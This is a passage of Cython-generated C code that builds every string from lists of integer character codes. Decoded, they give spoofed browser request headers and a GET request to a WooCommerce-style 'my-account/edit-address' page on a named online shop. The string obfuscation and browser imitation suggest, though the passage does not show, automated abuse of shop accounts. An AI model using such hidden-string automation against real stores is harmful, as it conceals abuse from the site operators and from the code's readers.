    PyList_SET_ITEM(__pyx_t_13, 84, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_13, 85, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_44);
    __Pyx_GIVEREF(__pyx_int_44);
    PyList_SET_ITEM(__pyx_t_13, 86, __pyx_int_44);
    __Pyx_INCREF(__pyx_int_42);
    __Pyx_GIVEREF(__pyx_int_42);
    PyList_SET_ITEM(__pyx_t_13, 87, __pyx_int_42);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_13, 88, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_42);
    __Pyx_GIVEREF(__pyx_int_42);
    PyList_SET_ITEM(__pyx_t_13, 89, __pyx_int_42);
    __Pyx_INCREF(__pyx_int_59);
    __Pyx_GIVEREF(__pyx_int_59);
    PyList_SET_ITEM(__pyx_t_13, 90, __pyx_int_59);
    __Pyx_INCREF(__pyx_int_113);
    __Pyx_GIVEREF(__pyx_int_113);
    PyList_SET_ITEM(__pyx_t_13, 91, __pyx_int_113);
    __Pyx_INCREF(__pyx_int_61);
    __Pyx_GIVEREF(__pyx_int_61);
    PyList_SET_ITEM(__pyx_t_13, 92, __pyx_int_61);
    __Pyx_INCREF(__pyx_int_48);
    __Pyx_GIVEREF(__pyx_int_48);
    PyList_SET_ITEM(__pyx_t_13, 93, __pyx_int_48);
    __Pyx_INCREF(__pyx_int_46);
    __Pyx_GIVEREF(__pyx_int_46);
    PyList_SET_ITEM(__pyx_t_13, 94, __pyx_int_46);
    __Pyx_INCREF(__pyx_int_56);
    __Pyx_GIVEREF(__pyx_int_56);
    PyList_SET_ITEM(__pyx_t_13, 95, __pyx_int_56);
    __Pyx_INCREF(__pyx_int_44);
    __Pyx_GIVEREF(__pyx_int_44);
    PyList_SET_ITEM(__pyx_t_13, 96, __pyx_int_44);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_13, 97, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_13, 98, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_13, 99, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_13, 100, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_13, 101, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_13, 102, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_13, 103, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_13, 104, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_13, 105, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_13, 106, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_13, 107, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_13, 108, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_115);
    __Pyx_GIVEREF(__pyx_int_115);
    PyList_SET_ITEM(__pyx_t_13, 109, __pyx_int_115);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_13, 110, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_13, 111, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_13, 112, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_13, 113, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_100);
    __Pyx_GIVEREF(__pyx_int_100);
    PyList_SET_ITEM(__pyx_t_13, 114, __pyx_int_100);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_13, 115, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_13, 116, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_120);
    __Pyx_GIVEREF(__pyx_int_120);
    PyList_SET_ITEM(__pyx_t_13, 117, __pyx_int_120);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_13, 118, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_13, 119, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_13, 120, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_13, 121, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_13, 122, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_13, 123, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_59);
    __Pyx_GIVEREF(__pyx_int_59);
    PyList_SET_ITEM(__pyx_t_13, 124, __pyx_int_59);
    __Pyx_INCREF(__pyx_int_118);
    __Pyx_GIVEREF(__pyx_int_118);
    PyList_SET_ITEM(__pyx_t_13, 125, __pyx_int_118);
    __Pyx_INCREF(__pyx_int_61);
    __Pyx_GIVEREF(__pyx_int_61);
    PyList_SET_ITEM(__pyx_t_13, 126, __pyx_int_61);
    __Pyx_INCREF(__pyx_int_98);
    __Pyx_GIVEREF(__pyx_int_98);
    PyList_SET_ITEM(__pyx_t_13, 127, __pyx_int_98);
    __Pyx_INCREF(__pyx_int_51);
    __Pyx_GIVEREF(__pyx_int_51);
    PyList_SET_ITEM(__pyx_t_13, 128, __pyx_int_51);
    __Pyx_INCREF(__pyx_int_59);
    __Pyx_GIVEREF(__pyx_int_59);
    PyList_SET_ITEM(__pyx_t_13, 129, __pyx_int_59);
    __Pyx_INCREF(__pyx_int_113);
    __Pyx_GIVEREF(__pyx_int_113);
    PyList_SET_ITEM(__pyx_t_13, 130, __pyx_int_113);
    __Pyx_INCREF(__pyx_int_61);
    __Pyx_GIVEREF(__pyx_int_61);
    PyList_SET_ITEM(__pyx_t_13, 131, __pyx_int_61);
    __Pyx_INCREF(__pyx_int_48);
    __Pyx_GIVEREF(__pyx_int_48);
    PyList_SET_ITEM(__pyx_t_13, 132, __pyx_int_48);
    __Pyx_INCREF(__pyx_int_46);
    __Pyx_GIVEREF(__pyx_int_46);
    PyList_SET_ITEM(__pyx_t_13, 133, __pyx_int_46);
    __Pyx_INCREF(__pyx_int_55);
    __Pyx_GIVEREF(__pyx_int_55);
    PyList_SET_ITEM(__pyx_t_13, 134, __pyx_int_55);
    __pyx_t_5 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_13); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 432, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;
    __pyx_t_13 = __Pyx_decode_bytes(__pyx_t_5, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 432, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    if (PyDict_SetItem(__pyx_t_15, __pyx_t_2, __pyx_t_13) < 0) __PYX_ERR(0, 432, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;

    
    __pyx_t_13 = PyList_New(13); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 433, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_13, 0, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_13, 1, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_13, 2, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_13, 3, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_13, 4, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_13, 5, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_13, 6, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_13, 7, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_13, 8, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_13, 9, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_13, 10, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_13, 11, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_13, 12, __pyx_int_108);
    __pyx_t_2 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_13); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 433, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;
    __pyx_t_13 = __Pyx_decode_bytes(__pyx_t_2, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 433, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __pyx_t_2 = PyList_New(8); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 433, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_2, 0, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_2, 1, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_2, 2, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_2, 3, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_2, 4, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_2, 5, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_2, 6, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_2, 7, __pyx_int_101);
    __pyx_t_5 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 433, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __pyx_t_2 = __Pyx_decode_bytes(__pyx_t_5, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 433, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    if (PyDict_SetItem(__pyx_t_15, __pyx_t_13, __pyx_t_2) < 0) __PYX_ERR(0, 432, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;

    
    __pyx_t_2 = PyList_New(6); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 434, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_2, 0, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_2, 1, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_2, 2, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_2, 3, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_2, 4, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_2, 5, __pyx_int_97);
    __pyx_t_13 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_2); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 434, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __pyx_t_2 = __Pyx_decode_bytes(__pyx_t_13, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 434, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;
    __pyx_t_13 = PyList_New(8); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 434, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_13, 0, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_13, 1, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_13, 2, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_13, 3, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_13, 4, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_13, 5, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_13, 6, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_13, 7, __pyx_int_101);
    __pyx_t_5 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_13); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 434, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;
    __pyx_t_13 = __Pyx_decode_bytes(__pyx_t_5, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 434, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    if (PyDict_SetItem(__pyx_t_15, __pyx_t_2, __pyx_t_13) < 0) __PYX_ERR(0, 432, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;

    
    __pyx_t_13 = PyList_New(10); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 435, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_INCREF(__pyx_int_117);
    __Pyx_GIVEREF(__pyx_int_117);
    PyList_SET_ITEM(__pyx_t_13, 0, __pyx_int_117);
    __Pyx_INCREF(__pyx_int_115);
    __Pyx_GIVEREF(__pyx_int_115);
    PyList_SET_ITEM(__pyx_t_13, 1, __pyx_int_115);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_13, 2, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_13, 3, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_13, 4, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_13, 5, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_13, 6, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_13, 7, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_13, 8, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_13, 9, __pyx_int_116);
    __pyx_t_2 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_13); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 435, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;
    __pyx_t_13 = __Pyx_decode_bytes(__pyx_t_2, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 435, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_user); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 435, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    if (PyDict_SetItem(__pyx_t_15, __pyx_t_13, __pyx_t_2) < 0) __PYX_ERR(0, 432, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_headers, __pyx_t_15) < 0) __PYX_ERR(0, 431, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;

    
    __Pyx_GetModuleGlobalName(__pyx_t_15, __pyx_n_s_r); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 437, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_15, __pyx_n_s_get); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 437, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;

    
    __pyx_t_15 = PyList_New(58); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 438, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_15, 0, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_15, 1, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_15, 2, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_15, 3, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_115);
    __Pyx_GIVEREF(__pyx_int_115);
    PyList_SET_ITEM(__pyx_t_15, 4, __pyx_int_115);
    __Pyx_INCREF(__pyx_int_58);
    __Pyx_GIVEREF(__pyx_int_58);
    PyList_SET_ITEM(__pyx_t_15, 5, __pyx_int_58);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_15, 6, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_15, 7, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_102);
    __Pyx_GIVEREF(__pyx_int_102);
    PyList_SET_ITEM(__pyx_t_15, 8, __pyx_int_102);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_15, 9, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_15, 10, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_102);
    __Pyx_GIVEREF(__pyx_int_102);
    PyList_SET_ITEM(__pyx_t_15, 11, __pyx_int_102);
    __Pyx_INCREF(__pyx_int_117);
    __Pyx_GIVEREF(__pyx_int_117);
    PyList_SET_ITEM(__pyx_t_15, 12, __pyx_int_117);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_15, 13, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_15, 14, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_102);
    __Pyx_GIVEREF(__pyx_int_102);
    PyList_SET_ITEM(__pyx_t_15, 15, __pyx_int_102);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_15, 16, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 17, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_118);
    __Pyx_GIVEREF(__pyx_int_118);
    PyList_SET_ITEM(__pyx_t_15, 18, __pyx_int_118);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_15, 19, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_15, 20, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_46);
    __Pyx_GIVEREF(__pyx_int_46);
    PyList_SET_ITEM(__pyx_t_15, 21, __pyx_int_46);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_15, 22, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_15, 23, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_15, 24, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_15, 25, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_15, 26, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_121);
    __Pyx_GIVEREF(__pyx_int_121);
    PyList_SET_ITEM(__pyx_t_15, 27, __pyx_int_121);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_15, 28, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 29, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_15, 30, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_15, 31, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_15, 32, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_117);
    __Pyx_GIVEREF(__pyx_int_117);
    PyList_SET_ITEM(__pyx_t_15, 33, __pyx_int_117);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_15, 34, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_15, 35, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_15, 36, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_15, 37, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_100);
    __Pyx_GIVEREF(__pyx_int_100);
    PyList_SET_ITEM(__pyx_t_15, 38, __pyx_int_100);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_15, 39, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_15, 40, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_15, 41, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 42, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_100);
    __Pyx_GIVEREF(__pyx_int_100);
    PyList_SET_ITEM(__pyx_t_15, 43, __pyx_int_100);
    __Pyx_INCREF(__pyx_int_100);
    __Pyx_GIVEREF(__pyx_int_100);
    PyList_SET_ITEM(__pyx_t_15, 44, __pyx_int_100);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_15, 45, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
